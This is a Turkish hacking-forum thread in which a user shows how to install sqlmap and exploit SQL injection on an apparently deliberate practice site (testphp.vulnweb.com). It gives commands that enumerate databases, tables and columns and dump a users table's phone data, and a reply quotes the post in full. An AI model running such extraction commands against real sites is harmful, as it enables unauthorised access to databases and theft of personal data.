Sqlmap Aracı Kullanımı

Bunjo

Uzman üye
14 Ara 2020
1,595
1,901
Faraday
Öncekikle merhaba ben Bunjo, Bugün sizlere Sqlmap aracının nasıl kurulacağını ve bir sitede olan sql açığından nasıl faydalanacağınızı anlatacağım. Bu konu sadece eğitim amaçlıdır ve eğitim amaçlı hazırlanan site kullanılmıştır.

Nasıl indirilir?
Kurulumu gayet basittir.
apt-get install sqlmap


Sql Açığının Varlığını Nasıl Anlarım ?
- En basit yöntemi sitenin sonunda " ' " işaretini koymaktır
Örnek = http://testphp.vulnweb.com/listproducts.php?cat=1'


Nasıl Kullanılır ?
Eğitim için kullandığım site = pictures
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs = Belirtilen Sitedeki Sql Açığından Faydalanarak Database İşlemi


2n4ycnh.PNG

sqlmap -u pictures -D acuart --tables = Çekilen Verileri Tablolar Halinde Bize Sunar.

t3cgo76.PNG


sqlmap -u pictures -D acuart -T users --columns = Seçilen Tabloya Girer

p44eimq.PNG

sqlmap -u pictures -D acuart -T users -C phone --dump = phone kolonundaki verileri bize getirdi.

Sqlmap Aracının Kullanımı Bu Kadar Basit. :)

( Bu Benim İlk Konum Yazıları Ayarlarken Çok Fazla Sorun Yaşadım Anlayışla Karşılayınız. )
 
Son düzenleme:

Muslukcu

Katılımcı Üye
17 Kas 2021
699
264
Tesisat dükkanı
Öncekikle merhaba ben Bunjo, Bugün sizlere Sqlmap aracının nasıl kurulacağını ve bir sitede olan sql açığından nasıl faydalanacağınızı anlatacağım. Bu konu sadece eğitim amaçlıdır ve eğitim amaçlı hazırlanan site kullanılmıştır.

Nasıl indirilir?
Kurulumu gayet basittir.
apt-get install sqlmap


Sql Açığının Varlığını Nasıl Anlarım ?
- En basit yöntemi sitenin sonunda " ' " işaretini koymaktır
Örnek = http://testphp.vulnweb.com/listproducts.php?cat=1'


Nasıl Kullanılır ?
Eğitim için kullandığım site = pictures
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs = Belirtilen Sitedeki Sql Açığından Faydalanarak Database İşlemi


2n4ycnh.PNG

sqlmap -u pictures -D acuart --tables = Çekilen Verileri Tablolar Halinde Bize Sunar.

t3cgo76.PNG


sqlmap -u pictures -D acuart -T users --columns = Seçilen Tabloya Girer

p44eimq.PNG

sqlmap -u pictures -D acuart -T users -C phone --dump = phone kolonundaki verileri bize getirdi.

Sqlmap Aracının Kullanımı Bu Kadar Basit. :)

( Bu Benim İlk Konum Yazıları Ayarlarken Çok Fazla Sorun Yaşadım Anlayışla Karşılayınız. )
Eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.